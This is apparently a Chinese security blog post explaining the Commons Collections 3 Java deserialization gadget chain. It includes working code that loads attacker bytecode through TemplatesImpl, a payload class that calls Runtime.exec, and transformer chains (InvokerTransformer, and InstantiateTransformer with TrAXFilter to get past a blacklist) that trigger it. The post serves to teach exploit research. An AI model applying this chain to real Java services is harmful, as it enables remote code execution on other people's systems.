CommonCollections3


 

CommonCollections3

使用了新的执行命令的方法:动态类加载

 

templatesImpl#newTransformer()-->templatesImpl#defineClass()->newInstance()

newTransformer()-->getTransletInstance--(_class == bull)-->defineTransletClasses()------->loader.defineClass(_bytecodes[i])

 

用TemplatesImpl命令执行

调用newTransformer方法进行命令执行:

newTransformer()-->getTransletInstance()-->defineTransletClasses()-->defineClass()

上面成员变量_name不能为null,_class为null

_bytecodes不能为null,并且调用了_tfactory成员变量的getExternalExtensionsMap方法,这个成员变量要赋值,否则找不到这个方法

_bytecodes是要加载类的字节码

 

代码实现:

package CC;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;


import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class CC6Test {
    public static  void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {


        byte[] bytes = Files.readAllBytes(Paths.get("D:\\demo\\Java\\Bug\\BugTest\\web\\WEB-INF\\classes\\CC\\hello.class"));


        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","123");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        templates.newTransformer();
    }
}

记载类代码:

package CC;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;


import java.io.IOException;


public class hello extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {


    }


    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {


    }
}

 

 

补充:加载类的父类问题

加载类没有继承时报错:

这里superClass的值不为ABSTRACT_TRANSLET(也就是没有继承它),所以它的值现在为java.lang.Object。所以if判断不能通过,_transletIndex赋值为0,下面对_transletIndex进行判断小于0,丢出异常

 

 

 

调用TemplatesImpl的方法

只要在反序列中找到调用newTransformer的方法就行了

  1. invokerTransformer()

  2. InstantiateTransformer().transformer()--->TrAXFilter

  3. getOutputProperties()

 

invokerTransformer

代码:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new
    ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); 
outerMap.put("test", "xxxx");

这点代码与CommonsCollections1的代码相似,用到了invokerTransformer()。当这个函数列入黑名单时,就要寻找其他函数仍然可以调用newTransformer()

TrAXFilter

通过Find Usages寻找调用newTransformer()的地方

只要能实现它的构造方法就会自动调用newTransformer(),接下来解决怎样实现它的构造方法。

InstantiateTransformer#transform

它的transform方法能够获取input参数的构造器并实例化。

代码实现:

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
}


声明:啊小新sunny|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - CommonCollections3


Good friends, good books, and a sleepy conscience: this is the ideal life.